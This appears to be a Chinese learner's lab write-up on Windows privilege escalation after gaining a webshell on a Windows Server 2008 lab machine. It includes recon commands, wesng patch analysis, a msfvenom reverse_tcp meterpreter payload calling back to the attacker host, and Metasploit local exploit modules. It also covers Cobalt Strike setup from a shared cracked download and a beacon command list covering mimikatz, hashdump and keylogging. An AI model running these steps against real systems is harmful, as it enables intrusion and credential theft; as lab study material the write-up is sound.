中间件语言类
-
权限划分
-
linux
- 管理员 UID 为 0:系统的管理员用户。
- 系统用户 UID 为 1~999:默认服务程序会有独立的系统用户负责运行。
- 普通用户 UID 从 1000 开始:是由管理员创建的用于日常工作的用户。
-
windows
- 系统管理员组:system
- 用户管理员组:administrator
- 普通用户:user
- 游客:guest
-
-
不同语言木马写入的区别
- jsp id=uid=0(root)
- php id=uid=1001(www) 自己安装的
- php id=uid=1001(www) php whoami=xiaodi-pc\xiaodi phpstudy
- asp whoami=nt authority\network service
- aspx whoami=nt authority \network service
WIN 系统权限提升
手工提升权限
-
步骤
-
首先进行信息收集,收集操作系统版本,漏洞补丁,位数,杀毒软件防护,当前权限等信息
-
可以利用 systeminfo 命令获取
-
以下是常用的查询命令
-
systeminfo 查询系统信息 hostname 主机名 net user 查看用户信息 netstat -ano|find "3389" 查看服务pid号 wmic os get caption 查看系统名 wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息 wmic product get name,version 查看当前安装程序 wmic service list brief 查询本机服务 wmic process list brief 查询本机进程 net share 查看本机共享列表 netsh firewall show config 查看防火墙配置
-
-
-
VulnScan 复现
-
假设我们可以上传一个 php 木马,用哥斯拉进行连接来提权,
http://192.168.72.138/cong.php
-
-
可以看到我们的用户身份信息为
用户管理员
-
C:/inetpub/wwwroot/ >whoami iis apppool\defaultapppool
-
-
使用工具 psl 文件并将其传入目标服务器中
-
-
首先使用 powershell 来解除系统谁执行 psl 文件的限制
-
powershell Get-ExecutionPolicy -List set-executionpolicy remotesigned Set-ExecutionPolicy RemoteSigned -Scope CurrentUser或者Set-ExecutionPolicy Unrestricted -Scope CurrentUser 做完实验就打开脚本限制 Set-ExecutionPolicy Undefined -Scope CurrentUser
-
没关系可以根据 json 模版通过 systeminfo 的信息手搓一个 json 格式,不过我这里还是报错
-
-
-
使用 powershell 来执行该 psl 文件让其生成对应的 json 文件,还是报错,算了
-
powershell .\KBCollect.ps1
-
{"basicInfo":{"windowsProductName":"Microsoft Windows 10 专业版","windowsVersion":"2009"},"KBList":[ "KB5037592", "KB5011048", "KB5015684", "KB5039211", "KB5014032", "KB5032907", "KB5037995", "KB5034441" ]}
-
-
-
后面用下本机做实验,发现可以的,那就靶场转移到本机
-
-
再用脚本检测这个 json 文件即可
python cve-check.py -C -f KB.json
-
-
wesng 复现
-
工具下载:bitsadmin/wesng: Windows Exploit Suggester - Next Generation (github.com)
-
假设我们可以上传一个 php 木马,用哥斯拉进行连接来提权,
http://192.168.72.138/cong.php
-
-
可以看到我们的用户身份信息为
用户管理员
-
C:/inetpub/wwwroot/ >whoami iis apppool\defaultapppool
-
-
利用
systeminfo
命令获取补丁的相关信息,出现乱码-
-
让其生成 txt 文件,
systeminfo > c:\cong.txt
-
-
主机名: 08SERVERR2-1 OS 名称: Microsoft Windows Server 2008 R2 Standard OS 版本: 6.1.7601 Service Pack 1 Build 7601 OS 制造商: Microsoft Corporation OS 配置: 独立服务器 OS 构件类型: Multiprocessor Free 注册的所有人: Windows 用户 注册的组织: 产品 ID: 00477-001-0000421-84563 初始安装日期: 2021/9/13, 17:19:54 系统启动时间: 2024/9/5, 23:56:56 系统制造商: VMware, Inc. 系统型号: VMware Virtual Platform 系统类型: x64-based PC 处理器: 安装了 1 个处理器。 [01]: AMD64 Family 25 Model 68 Stepping 1 AuthenticAMD ~3194 Mhz BIOS 版本: Phoenix Technologies LTD 6.00, 2020/11/12 Windows 目录: C:\Windows 系统目录: C:\Windows\system32 启动设备: \Device\HarddiskVolume1 系统区域设置: zh-cn;中文(中国) 输入法区域设置: zh-cn;中文(中国) 时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量: 8,191 MB 可用的物理内存: 7,437 MB 虚拟内存: 最大值: 10,239 MB 虚拟内存: 可用: 9,456 MB 虚拟内存: 使用中: 783 MB 页面文件位置: C:\pagefile.sys 域: WORKGROUP 登录服务器: \\08SERVERR2-1 修补程序: 安装了 2 个修补程序。 [01]: KB2999226 [02]: KB976902 网卡: 安装了 1 个 NIC。 [01]: Intel(R) PRO/1000 MT Network Connection 连接名: 本地连接 启用 DHCP: 是 DHCP 服务器: 192.168.72.254 IP 地址 [01]: 192.168.72.138 [02]: fe80::7089:3820:3557:4d6b
-
将刚才生成的信息创建一个新文档 cong.txt,再执行命令
python wes.py cong.txt -o cong.csv
-
-
-
之后就是找 poc 复现了,可以在一些 poc 网站中寻找,例如 poc in github,
-
-
在线网站找 poc
- 自己没找
权限提升相关工具
-
msf 工具
-
复现
-
靶场:win2008,已拿下 webshell
-
生成反弹后门木马,
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=5577 -f exe -o cong.exe
-
监听后门
-
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架; use exploit/multi/handler # 监听木马反弹过来的shell set payload windows/meterpreter/reverse_tcp # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload; set lhost 0.0.0.0 # 我们的kali本机ip set lport 5566 # 我们的kali本机端口 exploit # 开始进行监听;
-
-
成功连接,获取用户信息,发现是用户管理员
-
-
meterpreter > getuid Server username: 08SERVERR2-1\Administrator
-
半自动化相关演示
-
首先用
background
命令回到 msf 控制页面-
meterpreter > background [*] Backgrounding session 2..
-
-
使用模块
use post/windows/gather/enum_patches
-
设置会话
set session 2
-
-
使用
run
命令运行模块,发现目标已安装的补丁-
-
-
全自动演示
-
首先 webshell
-
首先用
background
命令回到 msf 控制页面 -
通过
use post/multi/recon/local_exploit_suggester
命令来使用模块 -
设置详细详细描述的漏洞利用过程
set showdescription true
-
设置会话
set session 1
-
运行,发现存在大量漏洞
-
-
-
新建一个任务栏,使用以下命令监听 shell
-
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 0.0.0.0 set lport 6666 exploit
-
-
返回控制台,进入刚才扫出的漏洞的名称
-
use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
-
set lhost 192.168.72.130
(本机 ip) -
set lport 6666
-
set session 1
-
exploit
-
-
发现提示成功,但是并没有监听到,不懂
-
-
-
-
-
CS 工具
-
下载地址:https://pan.baidu.com/s/14GGndrwx5PqyBpu2EeLj1g?pwd=cong
-
工具的基本使用
-
靶场:win 2008
-
工具准备:一台服务器,一台肉鸡,一台 win 客户端电脑
-
将工具下载到服务器和客户端
-
服务端给足工具权限
chmod -R 777 CobaltStrike4.8汉化版带插件
-
进入服务端目录,运行服务端
./teamserver 192.168.72.130 congsec
-
-
在本机电脑运行
Cobalt_Strike_CN.bat
文件客户端连接服务端-
-
设置监听器
-
-
选择刚才的监听器来生成后门木马
-
-
运行木马成功监听
-
-
-
插件使用
-
首先是选择文件载入插件
-
-
-
插件提权
-
Ladon 插件
-
-
Taowu 插件
-
-
工具自带的提权
-
-
-
常用命令
-
browserpivot 注入受害者浏览器进程 sleep 3 全部命令3秒执行 bypassuac 绕过UAC cancel 取消正在进行的下载 cd 切换目录 checkin 强制让被控端回连一次 clear 清除beacon内部的任务队列 connect Connect to a Beacon peerover TCP covertvpn 部署Covert VPN客户端 cp 复制文件 dcsync 从DC中提取密码哈希 desktop 远程VNC dllinject 反射DLL注入进程 dllload 使用LoadLibrary将DLL加载到进程中 download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标盘符 elevate 尝试提权 execute 在目标上执行程序(无输出) execute-assembly 在目标上内存中执行本地.NET程序 exit 退出beacon getprivs Enable system privileges oncurrent token getsystem 尝试获取SYSTEM权限 getuid 获取用户ID hashdump 转储密码哈希值 help 帮助 inject 在特定进程中生成会话 jobkill 杀死一个后台任务 jobs 列出后台任务 kerberos_ccache_use 从ccache文件中导入票据应用于此会话 kerberos_ticket_purge 清除当前会话的票据 kerberos_ticket_use 从ticket文件中导入票据应用于此会话 keylogger 键盘记录 kill 结束进程 link Connect to a Beacon peerover a named pipe logonpasswords 使用mimikatz转储凭据和哈希值 ls 列出文件 make_token 创建令牌以传递凭据 mimikatz 运行mimikatz mkdir 创建一个目录 mode dns 使用DNS A作为通信通道(仅限DNS beacon) mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon) mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon) mode http 使用HTTP作为通信通道 mv 移动文件 net net命令 note 备注 portscan 进行端口扫描 powerpick 通过Unmanaged PowerShell执行命令 powershell 通过powershell.exe执行命令 powershell-import 导入powershell脚本 ppid Set parent PID forspawned post-ex jobs ps 显示进程列表 psexec Use a service to spawn asession on a host psexec_psh Use PowerShell to spawn asession on a host psinject 在特定进程中执行PowerShell命令 pth 使用Mimikatz进行传递哈希 pwd 当前目录位置 reg Query the registry rev2self 恢复原始令牌 rm 删除文件或文件夹 rportfwd 端口转发 run 在目标上执行程序(返回输出) runas 以另一个用户权限执行程序 runasadmin 在高权限下执行程序 runu Execute a program underanother PID screenshot 屏幕截图 setenv 设置环境变量 shell cmd.exe 打开cmd终端 shell ipconfig 执行ipconfig命令 shinject 将shellcode注入进程 shspawn 生成进程并将shellcode注入其中 sleep 设置睡眠延迟时间 socks 启动SOCKS4代理 socks stop 停止SOCKS4 spawn Spawn a session spawnas Spawn a session as anotheruser spawnto Set executable tospawn processes into spawnu Spawn a session underanother PID ssh 使用ssh连接远程主机 ssh-key 使用密钥连接远程主机 steal_token 从进程中窃取令牌 timestomp 将一个文件时间戳应用到另一个文件 unlink Disconnect from parentBeacon upload 上传文件 wdigest 使用mimikatz转储明文凭据 winrm 使用WinRM在主机上生成会话 wmi 使用WMI在主机上生成会话 argue 进程参数欺骗
-
-
-
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于